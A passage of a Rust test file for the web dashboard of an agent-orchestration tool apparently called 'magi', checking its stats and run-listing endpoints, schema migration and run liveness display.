17817 let html = include_str!("../assets/ui/index.html");
17818 assert!(html.contains("Approximate"));
17819 for label in ["reflected strongly", "faint", "no proposal"] {
17820 assert!(html.contains(label));
17821 }
17822 let css = include_str!("../assets/ui/app.css");
17823 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17824 assert!(css.contains(&format!(".{c} {{")));
17825 }
17826 }
17827
17828 #[test]
17829 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17830 assert!(APP_JS.contains("function statsDailyPlan("));
17831 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17832 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17833 }
17834
17835 #[test]
17836 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17837 let start = APP_JS
17838 .find("function scheduleSearch(")
17839 .expect("scheduleSearch exists");
17840 let body = &APP_JS[start..];
17841 let body = &body[..body.find("\n}\n").expect("function end")];
17842 assert!(body.contains("s.seq += 1"));
17843 }
17844
17845 #[tokio::test]
17850 async fn stats_runs_unreadable_matches_health() {
17851 let f = Fixture::start().await;
17852 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17853 let broken = f.runs().join("20260902-140502-bad");
17854 std::fs::create_dir_all(&broken).expect("run dir");
17855 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17856
17857 let stats = f.get("/api/stats").await;
17858 let health = f.get("/api/health").await;
17859
17860 assert_eq!(stats.status, 200);
17861 assert_eq!(stats.json()["totals"]["runs"], 1);
17862 assert_eq!(stats.json()["runs_unreadable"], 1);
17863 assert_eq!(
17864 stats.json()["runs_unreadable"],
17865 health.json()["runs_unreadable"],
17866 "the dashboard and /api/health must never disagree about how many \
17867 runs could not be read"
17868 );
17869 }
17870
17871 #[tokio::test]
17872 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17873 let f = Fixture::start().await;
17874 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17875 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17876 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17877
17878 let totals = &f.get("/api/stats").await.json()["totals"];
17879 assert_eq!(totals["runs"], 3);
17880 assert_eq!(totals["merged"], 1);
17881 assert_eq!(totals["stalled"], 1);
17882 assert_eq!(totals["in_progress"], 1);
17883 assert_eq!(totals["blocked"], 0);
17886 assert_eq!(totals["ready"], 0);
17887 }
17888
17889 #[tokio::test]
17890 async fn stats_advisors_report_proposals_and_reflection() {
17891 use crate::advise::{Advice, AdvisorRecord, Reflection};
17892 use crate::verdict::Proposal;
17893
17894 let f = Fixture::start().await;
17895 let mut state = RunState::new(
17896 PathBuf::from("/repo/magi"),
17897 "main".to_owned(),
17898 "0123456789abcdef".to_owned(),
17899 "task".to_owned(),
17900 Config::default(),
17901 );
17902 state.id = "20260902-140501-a".to_owned();
17903 state.status = RunStatus::Merged;
17904 state.advice = Some(Advice {
17905 records: vec![
17906 AdvisorRecord {
17907 seat: "advisor-1".to_owned(),
17908 agent: "alpha".to_owned(),
17909 proposal: Some(Proposal {
17910 approach: "do it".to_owned(),
17911 key_tradeoff: "speed over memory".to_owned(),
17912 risks: Vec::new(),
17913 touches: Vec::new(),
17914 why_not_naive: "breaks under load".to_owned(),
17915 }),
17916 error: None,
17917 duration_ms: 0,
17918 reflection: Reflection::Strong,
17919 },
17920 AdvisorRecord {
17921 seat: "advisor-2".to_owned(),
17922 agent: "alpha".to_owned(),
17923 proposal: None,
17924 error: Some("timed out".to_owned()),
17925 duration_ms: 0,
17926 reflection: Reflection::Absent,
17927 },
17928 ],
17929 synthesis: Some("blended brief".to_owned()),
17930 });
17931 let dir = f.runs().join(&state.id);
17932 std::fs::create_dir_all(&dir).expect("run dir");
17933 std::fs::write(
17934 dir.join("run.json"),
17935 serde_json::to_string_pretty(&state).expect("serialize run"),
17936 )
17937 .expect("write run.json");
17938
17939 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17941 let alpha = advisors
17942 .as_array()
17943 .expect("an array")
17944 .iter()
17945 .find(|a| a["agent"] == "alpha")
17946 .expect("alpha row");
17947 assert_eq!(alpha["seated"], 2);
17948 assert_eq!(alpha["proposed"], 1);
17949 assert_eq!(alpha["absent"], 1);
17950 assert_eq!(alpha["strong"], 1);
17951 assert_eq!(alpha["faint"], 0);
17952 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17953 }
17954
17955 #[tokio::test]
17956 async fn stats_hides_agents_outside_the_roster_unless_all() {
17957 use crate::run::Candidate;
17958 let repo = TempDir::new().expect("repo dir");
17959 std::fs::write(
17960 repo.path().join("magi.toml"),
17961 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17962 )
17963 .expect("magi.toml");
17964 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17965 let mut state = RunState::new(
17966 PathBuf::from("/repo/magi"),
17967 "main".to_owned(),
17968 "0123456789abcdef".to_owned(),
17969 "task".to_owned(),
17970 Config::default(),
17971 );
17972 state.id = "20260902-140501-a".to_owned();
17973 state.status = RunStatus::Merged;
17974 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17975 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17976 "index": 0, "label": label.to_string(), "agent": agent,
17977 "branch": "b", "worktree": "/w",
17978 }))
17979 .expect("candidate");
17980 c.label = label;
17981 state.candidates.push(c);
17982 }
17983 let dir = f.runs().join(&state.id);
17984 std::fs::create_dir_all(&dir).expect("run dir");
17985 std::fs::write(
17986 dir.join("run.json"),
17987 serde_json::to_string_pretty(&state).expect("serialize run"),
17988 )
17989 .expect("write run.json");
17990
17991 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17992 v["agents"]
17993 .as_array()
17994 .expect("array")
17995 .iter()
17996 .map(|a| a["agent"].as_str().unwrap().to_owned())
17997 .collect()
17998 };
17999 let hidden = f.get("/api/stats").await.json();
18000 assert_eq!(agents_of(&hidden), ["keep"]);
18001 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18002 assert_eq!(hidden["totals"]["runs"], 1);
18003
18004 let all = f.get("/api/stats?all=true").await.json();
18005 assert_eq!(agents_of(&all).len(), 2);
18006 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18007 let keep_agent = all["agents"]
18009 .as_array()
18010 .unwrap()
18011 .iter()
18012 .find(|a| a["agent"] == "keep")
18013 .unwrap();
18014 assert_eq!(keep_agent["competitive_entered"], 1);
18015 assert_eq!(keep_agent["competitive_wins"], 0);
18016 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18017 assert_eq!(keep_agent["solo_entered"], 0);
18018 assert_eq!(keep_agent["solo_adopted"], 0);
18019 assert!(keep_agent["solo_adoption_rate"].is_null());
18020 }
18021
18022 #[tokio::test]
18023 async fn stats_release_bumps_split_clean_from_attention() {
18024 use crate::run::ReleaseBump;
18025
18026 let f = Fixture::start().await;
18027
18028 let mut clean = RunState::new(
18029 PathBuf::from("/repo/magi"),
18030 "main".to_owned(),
18031 "0123456789abcdef".to_owned(),
18032 "task".to_owned(),
18033 Config::default(),
18034 );
18035 clean.id = "20260902-140501-a".to_owned();
18036 clean.status = RunStatus::Merged;
18037 clean.release_bump = Some(ReleaseBump {
18038 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18039 version: Some("1.0.0".to_owned()),
18040 automerge_enabled: true,
18041 merged_directly: false,
18042 local: false,
18043 release: None,
18044 problem: None,
18045 action_required: None,
18046 skipped: None,
18047 });
18048
18049 let mut blocked = RunState::new(
18050 PathBuf::from("/repo/magi"),
18051 "main".to_owned(),
18052 "0123456789abcdef".to_owned(),
18053 "task".to_owned(),
18054 Config::default(),
18055 );
18056 blocked.id = "20260902-140502-b".to_owned();
18057 blocked.status = RunStatus::Merged;
18058 blocked.release_bump = Some(ReleaseBump {
18059 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18060 version: Some("1.0.1".to_owned()),
18061 automerge_enabled: false,
18062 merged_directly: false,
18063 local: false,
18064 release: None,
18065 problem: Some("checks red".to_owned()),
18066 action_required: Some("look at the PR".to_owned()),
18067 skipped: None,
18068 });
18069
18070 for state in [&clean, &blocked] {
18071 let dir = f.runs().join(&state.id);
18072 std::fs::create_dir_all(&dir).expect("run dir");
18073 std::fs::write(
18074 dir.join("run.json"),
18075 serde_json::to_string_pretty(state).expect("serialize run"),
18076 )
18077 .expect("write run.json");
18078 }
18079
18080 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18081 assert_eq!(bumps["merged"], 2);
18082 assert_eq!(bumps["recorded"], 2);
18083 assert_eq!(bumps["pr_opened"], 2);
18084 assert_eq!(bumps["automerge_enabled"], 1);
18085 assert_eq!(bumps["needs_attention"], 1);
18086 assert_eq!(bumps["clean"], 1);
18087 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18088 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18089 }
18090
18091 #[tokio::test]
18092 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18093 let f = Fixture::start().await;
18094 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18095
18096 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18097 assert_eq!(bumps["merged"], 1);
18098 assert_eq!(bumps["recorded"], 0);
18099 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18102 assert_eq!(bumps["automerge_rate"], Value::Null);
18105 assert_eq!(bumps["attention_rate"], Value::Null);
18106 }
18107
18108 #[tokio::test]
18109 async fn stats_queue_counts_come_from_the_live_queue() {
18110 let f = Fixture::start().await;
18111 let q = f.queue();
18112 let mut queued = Task::new(
18113 "queued task".to_owned(),
18114 "do it".to_owned(),
18115 PathBuf::from("/repo"),
18116 Source::Human,
18117 );
18118 q.put(&mut queued).expect("put queued");
18119 let mut held = Task::new(
18120 "held task".to_owned(),
18121 "do it later".to_owned(),
18122 PathBuf::from("/repo"),
18123 Source::Human,
18124 );
18125 held.hold_machine(Some("out of attempts".to_owned()));
18126 q.put(&mut held).expect("put held");
18127
18128 let queue = f.get("/api/stats").await.json()["queue"].clone();
18129 assert_eq!(queue["queued"], 1);
18130 assert_eq!(queue["held"], 1);
18131 assert_eq!(queue["running"], 0);
18132 assert_eq!(queue["done"], 0);
18133 assert_eq!(queue["failed"], 0);
18134 assert_eq!(queue["blocked"], 0);
18135 }
18136
18137 #[tokio::test]
18138 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18139 let f = Fixture::start().await;
18140 let stats = f.get("/api/stats").await;
18141 assert_eq!(stats.status, 200);
18142 assert_eq!(stats.json()["totals"]["runs"], 0);
18143 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18144 assert_eq!(stats.json()["runs_unreadable"], 0);
18145 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18146 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18147 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18148 assert_eq!(stats.json()["repo"], Value::Null);
18149 }
18150
18151 #[tokio::test]
18152 async fn stats_lists_every_repository_with_runs_recorded() {
18153 let f = Fixture::start().await;
18154 write_run_repo(
18155 &f.runs(),
18156 "20260902-140501-a",
18157 RunStatus::Merged,
18158 "/repos/a",
18159 );
18160 write_run_repo(
18161 &f.runs(),
18162 "20260902-140502-b",
18163 RunStatus::Merged,
18164 "/repos/a",
18165 );
18166 write_run_repo(
18167 &f.runs(),
18168 "20260902-140503-c",
18169 RunStatus::Blocked,
18170 "/repos/b",
18171 );
18172
18173 let stats = f.get("/api/stats").await;
18174 assert_eq!(stats.status, 200);
18175 assert_eq!(stats.json()["totals"]["runs"], 3);
18177 assert_eq!(stats.json()["repo"], Value::Null);
18178
18179 let repos = stats.json()["repos"].clone();
18180 let repos = repos.as_array().unwrap();
18181 assert_eq!(repos.len(), 2);
18182 assert_eq!(repos[0]["repo"], "/repos/a");
18184 assert_eq!(repos[0]["name"], "a");
18185 assert_eq!(repos[0]["runs"], 2);
18186 assert_eq!(repos[1]["repo"], "/repos/b");
18187 assert_eq!(repos[1]["runs"], 1);
18188 }
18189
18190 #[tokio::test]
18191 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18192 let f = Fixture::start().await;
18193 write_run_repo(
18194 &f.runs(),
18195 "20260902-140501-a",
18196 RunStatus::Merged,
18197 "/repos/a",
18198 );
18199 write_run_repo(
18200 &f.runs(),
18201 "20260902-140502-b",
18202 RunStatus::Blocked,
18203 "/repos/b",
18204 );
18205
18206 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18207 assert_eq!(stats.status, 200);
18208 assert_eq!(stats.json()["totals"]["runs"], 1);
18209 assert_eq!(stats.json()["totals"]["merged"], 1);
18210 assert_eq!(stats.json()["repo"], "/repos/a");
18211 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18214 assert_eq!(stats.json()["runs_unreadable"], 0);
18217 }
18218
18219 #[tokio::test]
18220 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18221 let f = Fixture::start().await;
18222 write_run_repo(
18223 &f.runs(),
18224 "20260902-140501-a",
18225 RunStatus::Merged,
18226 "/repos/a",
18227 );
18228 write_run_repo(
18229 &f.runs(),
18230 "20260902-140502-b",
18231 RunStatus::Merged,
18232 "/repos/b",
18233 );
18234
18235 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18236 let json = f.get(uri).await.json();
18237 let daily = json["daily"].as_array().expect("daily is an array");
18238 assert_eq!(daily.len(), 30);
18239 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18240 let mut sorted = dates.clone();
18241 sorted.sort();
18242 assert_eq!(dates, sorted);
18243 for d in daily {
18244 assert_eq!(
18245 d["merged"].as_u64().unwrap()
18246 + d["ready"].as_u64().unwrap()
18247 + d["other"].as_u64().unwrap(),
18248 d["runs"].as_u64().unwrap()
18249 );
18250 }
18251 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18252 }
18253 }
18254
18255 #[tokio::test]
18256 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18257 let f = Fixture::start().await;
18258 write_run_repo(
18259 &f.runs(),
18260 "20260902-140501-a",
18261 RunStatus::Merged,
18262 "/repos/a",
18263 );
18264
18265 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18266 assert_eq!(stats.status, 404);
18267 }
18268
18269 #[tokio::test]
18270 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18271 let f = Fixture::start().await;
18272 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18273
18274 let summary = f.get("/api/runs").await.json();
18275 let row = &summary[0];
18276 assert_eq!(row["short"], "a1b2");
18277 assert_eq!(row["status"], "ready");
18278 assert_eq!(row["done"], true);
18279 assert_eq!(row["title"], "Add a web UI");
18280 assert_eq!(row["repo_name"], "magi");
18281 assert_eq!(row["judges"], 3);
18282 assert_eq!(row["winner"], Value::Null);
18283 assert_eq!(row["reviews"], 0);
18284
18285 let detail = f.get("/api/runs/a1b2").await;
18288 assert_eq!(detail.status, 200);
18289 assert_eq!(detail.json()["base_branch"], "main");
18290 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18291 }
18292
18293 #[tokio::test]
18301 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18302 let f = Fixture::start().await;
18303
18304 let mut none_run = RunState::new(
18305 PathBuf::from("/repo/magi"),
18306 "main".to_owned(),
18307 "0123456789abcdef".to_owned(),
18308 "Add a web UI".to_owned(),
18309 Config::default(),
18310 );
18311 none_run.id = "20260902-140503-none".to_owned();
18312 none_run.status = RunStatus::Ready;
18313 none_run.merge = Some(crate::run::MergeOutcome {
18314 mode: crate::config::MergeMode::None,
18315 ok: true,
18316 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18317 empty: false,
18318 });
18319 write_state(&f.runs(), &none_run);
18320
18321 let mut pr_run = RunState::new(
18322 PathBuf::from("/repo/magi"),
18323 "main".to_owned(),
18324 "0123456789abcdef".to_owned(),
18325 "Add a web UI".to_owned(),
18326 Config::default(),
18327 );
18328 pr_run.id = "20260902-140504-prcl".to_owned();
18329 pr_run.status = RunStatus::Ready;
18330 pr_run.merge = Some(crate::run::MergeOutcome {
18331 mode: crate::config::MergeMode::Pr,
18332 ok: false,
18333 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18334 empty: false,
18335 });
18336 write_state(&f.runs(), &pr_run);
18337
18338 let summary = f.get("/api/runs").await.json();
18339 let rows: std::collections::HashMap<&str, &Value> = summary
18340 .as_array()
18341 .expect("an array")
18342 .iter()
18343 .map(|r| (r["id"].as_str().expect("an id"), r))
18344 .collect();
18345 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18346 assert_eq!(
18347 rows[none_run.id.as_str()]["unmerged_by_design"],
18348 true,
18349 "a mode-none Ready must be flagged in the list"
18350 );
18351 assert_eq!(
18352 rows[pr_run.id.as_str()]["unmerged_by_design"],
18353 false,
18354 "a Ready reached by a closed pull request is a different case"
18355 );
18356
18357 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18358 assert_eq!(none_detail["status"], "ready");
18359 assert_eq!(none_detail["unmerged_by_design"], true);
18360
18361 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18362 assert_eq!(pr_detail["unmerged_by_design"], false);
18363 }
18364
18365 #[tokio::test]
18370 async fn run_core_survives_unavailable_related_stores() {
18371 let home = TempDir::new().unwrap();
18372 let ui = delta_test_ui(home.path());
18373 let state = RunState::new(
18374 PathBuf::from("/repo/magi"),
18375 "main".into(),
18376 "0123456789abcdef".into(),
18377 "Useful core instructions".into(),
18378 Config::default(),
18379 );
18380 let dir = ui.runs.join(&state.id);
18381 std::fs::create_dir_all(&dir).unwrap();
18382 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18383 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18384 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18385 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18386 .await
18387 .unwrap()
18388 .0;
18389 assert_eq!(core.state.instruction, state.instruction);
18390 assert_eq!(core.state.updated_at, state.updated_at);
18391 assert!(core.task.is_none());
18392 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18393 }
18394
18395 #[tokio::test]
18396 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18397 let f = Fixture::start().await;
18398 let id = "20260902-140502-bbbb";
18402 let mut state = RunState::new(
18403 PathBuf::from("/repo/magi"),
18404 "main".to_owned(),
18405 "0123456789abcdef".to_owned(),
18406 "Add a web UI".to_owned(),
18407 Config::default(),
18408 );
18409 state.id = id.to_owned();
18410 state.status = RunStatus::Judging;
18411 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18412 let dir = f.runs().join(id);
18413 std::fs::create_dir_all(&dir).expect("run dir");
18414 std::fs::write(
18415 dir.join("run.json"),
18416 serde_json::to_string_pretty(&state).expect("serialize run"),
18417 )
18418 .expect("write run.json");
18419
18420 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18426 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18427 assert_eq!(cold["live"], "unknown", "{cold}");
18428
18429 write_daemon(f.home.path(), Timestamp::now());
18432 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18433 assert_eq!(warm["live"], "live", "{warm}");
18434 }
18435
18436 #[test]
18437 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18438 let home = tempfile::tempdir().expect("temp home");
18439 let runs = home.path().join("runs");
18440 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18441 let mut state = RunState::new(
18442 PathBuf::from("/repo/magi"),
18443 "main".to_owned(),
18444 "0123456789abcdef".to_owned(),
18445 "Generated review context, not authored task criteria".to_owned(),
18446 Config::default(),
18447 );
18448 state.origin = origin;
18449 state.status = RunStatus::Blocked;
18450 state.driver_exited = false;
18452 state.gate_ran = true;
18453 let expected = serde_json::to_value(&state).expect("serialize current state");
18454 let mut legacy = expected.clone();
18455 legacy["schema"] = serde_json::json!(13);
18456 legacy.as_object_mut().unwrap().remove("task_instruction");
18457 let dir = runs.join(&state.id);
18458 std::fs::create_dir_all(&dir).expect("run dir");
18459 let path = dir.join("run.json");
18460 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18461 std::fs::write(&path, &body).expect("write legacy run");
18462
18463 for loaded in [
18464 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18465 read_run(&runs, &state.id).expect("web migration"),
18466 ] {
18467 assert_eq!(loaded.schema, crate::run::SCHEMA);
18468 assert!(loaded.task_instruction.is_none());
18469 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18470 }
18471 assert_eq!(runs_unreadable(&runs), 0);
18472 assert_eq!(std::fs::read(&path).unwrap(), body);
18473 }
18474 }
18475
18476 #[tokio::test]
18479 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18480 let f = Fixture::start().await;
18481 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18482 let mut state = RunState::new(
18483 PathBuf::from("/repo/magi"),
18484 "main".to_owned(),
18485 "0123456789abcdef".to_owned(),
18486 "Add a web UI".to_owned(),
18487 Config::default(),
18488 );
18489 state.id = id.to_owned();
18490 state.origin = origin;
18491 let mut value = serde_json::to_value(&state).expect("serialize run");
18492 if let Some(schema) = schema {
18493 value["schema"] = serde_json::json!(schema);
18494 value.as_object_mut().unwrap().remove("origin");
18495 }
18496 let dir = f.runs().join(id);
18497 std::fs::create_dir_all(&dir).expect("run dir");
18498 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18499 };
18500 write(
18501 "20260930-092817-ec34",
18502 Some(crate::run::Origin::from_agent_env(
18503 Some(("4a7b".to_owned(), "chat".to_owned())),
18504 None,
18505 )),
18506 None,
18507 );
18508 write("20260930-092817-0ld1", None, Some(12));
18509
18510 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18511 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18512 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18513
18514 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18515 assert_eq!(
18516 old["origin_label"], "origin unknown (started before origins were recorded)",
18517 "{old}"
18518 );
18519 assert!(old["origin"].is_null(), "{old}");
18520
18521 let list = f.get("/api/runs").await.json();
18522 let labels: Vec<_> = list
18523 .as_array()
18524 .unwrap()
18525 .iter()
18526 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18527 .collect();
18528 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18529 }
18530
18531 #[tokio::test]
18538 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18539 let f = Fixture::start().await;
18540 let id = "20260922-090000-cccc";
18541 let mut state = RunState::new(
18542 PathBuf::from("/repo/magi"),
18543 "main".to_owned(),
18544 "0123456789abcdef".to_owned(),
18545 "Review only".to_owned(),
18546 Config::default(),
18547 );
18548 state.id = id.to_owned();
18549 state.status = RunStatus::Reviewing;
18550 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18551 state.driver_pid = Some(std::process::id());
18557 state.driver_started_at = Some(
18558 crate::proc::process_started_at(std::process::id())
18559 .expect("this test process's own start time must be queryable"),
18560 );
18561 let dir = f.runs().join(id);
18562 std::fs::create_dir_all(&dir).expect("run dir");
18563 std::fs::write(
18564 dir.join("run.json"),
18565 serde_json::to_string_pretty(&state).expect("serialize run"),
18566 )
18567 .expect("write run.json");
18568
18569 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18570 assert_eq!(detail["live"], "live", "{detail}");
18571 }
18572
18573 #[tokio::test]
18579 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18580 let f = Fixture::start().await;
18581 let id = "20260922-090100-dddd";
18582 let mut state = RunState::new(
18583 PathBuf::from("/repo/magi"),
18584 "main".to_owned(),
18585 "0123456789abcdef".to_owned(),
18586 "Review only".to_owned(),
18587 Config::default(),
18588 );
18589 state.id = id.to_owned();
18590 state.status = RunStatus::Reviewing;
18591 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18592 state.driver_pid = Some(std::process::id());
18597 state.driver_started_at = Some("1".to_owned());
18598 let dir = f.runs().join(id);
18599 std::fs::create_dir_all(&dir).expect("run dir");
18600 std::fs::write(
18601 dir.join("run.json"),
18602 serde_json::to_string_pretty(&state).expect("serialize run"),
18603 )
18604 .expect("write run.json");
18605
18606 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18607 assert_eq!(detail["live"], "dead", "{detail}");
18608 }
18609
18610 #[test]
18614 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18615 let mk = |id: &str, pid: Option<u32>| {
18616 let mut s = RunState::new(
18617 PathBuf::from("/repo/magi"),
18618 "main".to_owned(),
18619 "0123456789abcdef".to_owned(),
18620 "Add a web UI".to_owned(),
18621 Config::default(),
18622 );
18623 s.id = id.to_owned();
18624 s.driver_pid = pid;
18625 s.driver_started_at = Some("1790000000".to_owned());
18626 s
18627 };
18628 let states = vec![
18629 mk("20260902-140502-aaaa", Some(77)),
18630 mk("20260902-140502-bbbb", Some(77)),
18631 mk("20260902-140502-cccc", Some(77)),
18632 mk("20260902-140502-dddd", None),
18633 ];
18634 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18635 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18636 let sup: HashMap<String, String> = [(
18637 "20260902-140502-aaaa".to_owned(),
18638 "20260902-140502-cccc".to_owned(),
18639 )]
18640 .into();
18641
18642 let status_calls = std::cell::Cell::new(0);
18643 let identity_calls = std::cell::Cell::new(0);
18644 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18645 |_| {
18646 status_calls.set(status_calls.get() + 1);
18647 Some(true)
18648 },
18649 |_| {
18650 identity_calls.set(identity_calls.get() + 1);
18651 Some("1790000000".to_owned())
18652 },
18653 ));
18654 let rows = summarize(
18655 states,
18656 &open,
18657 &claimed,
18658 &sup,
18659 |p| probe.borrow_mut().status(p),
18660 |p| probe.borrow_mut().started_at(p),
18661 );
18662
18663 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18664 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18665 assert_eq!(rows.len(), 4);
18666 assert!(!rows[0].waiting && rows[1].waiting);
18667 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18668 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18669 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18670 assert_eq!(rows[1].superseded_by, None);
18671 }
18672
18673 #[test]
18674 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18675 let mut state = RunState::new(
18676 PathBuf::from("/repo/magi"),
18677 "main".to_owned(),
18678 "0123456789abcdef".to_owned(),
18679 "Review only".to_owned(),
18680 Config::default(),
18681 );
18682 state.id = "20260922-090200-dead".to_owned();
18683 state.status = RunStatus::Reviewing;
18684 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18685 .expect("serialize list row");
18686 assert_eq!(row["status"], "reviewing");
18687 assert_eq!(row["display_status"], "stale");
18688 assert_eq!(row["live"], "dead", "{row}");
18689 assert!(!row["done"].as_bool().unwrap());
18690 }
18691
18692 #[test]
18693 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18694 use crate::run::Liveness::{Dead, Live, Unknown};
18695 let mut state = RunState::new(
18696 PathBuf::from("/repo/magi"),
18697 "main".to_owned(),
18698 "abc".to_owned(),
18699 "Review only".to_owned(),
18700 Config::default(),
18701 );
18702 for (status, parked, node, waiting, live, expected) in [
18703 (
18704 RunStatus::Judging,
18705 true,
18706 "github-text",
18707 false,
18708 Dead,
18709 "parked",
18710 ),
18711 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18712 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18713 (
18714 RunStatus::Judging,
18715 true,
18716 "github-text",
18717 true,
18718 Dead,
18719 "waiting",
18720 ),
18721 (
18722 RunStatus::Judging,
18723 false,
18724 "github-text",
18725 true,
18726 Dead,
18727 "waiting",
18728 ),
18729 (
18730 RunStatus::Judging,
18731 false,
18732 "github-text",
18733 false,
18734 Dead,
18735 "stale",
18736 ),
18737 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18738 (RunStatus::Judging, true, "park", false, Live, "judging"),
18739 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18740 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18741 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18742 (
18743 RunStatus::Blocked,
18744 true,
18745 "github-text",
18746 true,
18747 Dead,
18748 "waiting",
18749 ),
18750 ] {
18751 state.status = status;
18752 state.parked = parked;
18753 state.events.clear();
18754 state.event(
18755 "park",
18756 "an earlier park does not determine the latest state",
18757 );
18758 state.event(node, "message is not used for classification");
18759 let summary = RunSummary::of(&state, waiting, live);
18760 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18761 assert_eq!(
18762 summary.display_status, expected,
18763 "{status:?}/{node}/{live:?}"
18764 );
18765 assert_eq!(detail.display_status, summary.display_status);
18766 assert_eq!(detail.waiting, summary.waiting);
18767 }
18768 state.status = RunStatus::Judging;
18769 state.parked = false;
18770 state.events.clear();
18771 assert_eq!(run_display_status(&state, false, Dead), "stale");
18772 }
18773
18774 #[test]
18775 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
